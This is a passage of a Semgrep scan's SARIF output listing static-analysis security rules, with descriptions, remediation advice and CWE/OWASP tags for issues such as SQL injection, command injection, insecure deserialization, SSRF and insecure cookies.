CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"help":{"markdown":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex)\n - [https://pkg.go.dev/sync#RWMutex](https://pkg.go.dev/sync#RWMutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","id":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","name":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","id":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","name":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","id":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","name":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli","id":"javascript.aws-lambda.security.pg-sqli.pg-sqli","name":"javascript.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://golang.org/doc/database/sql-injection](https://golang.org/doc/database/sql-injection)\n - [https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/](https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"help":{"markdown":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","id":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","name":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec)\n - [https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","id":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","name":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","id":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","name":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","id":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","name":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","id":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","name":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n - [https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html](https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","id":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","name":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"help":{"markdown":"Use of $window.location.href can lead to open-redirect if user input is used for redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","id":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","name":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","id":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","name":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"help":{"markdown":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute)\n - [https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5](https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5)\n","text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","id":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","name":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization 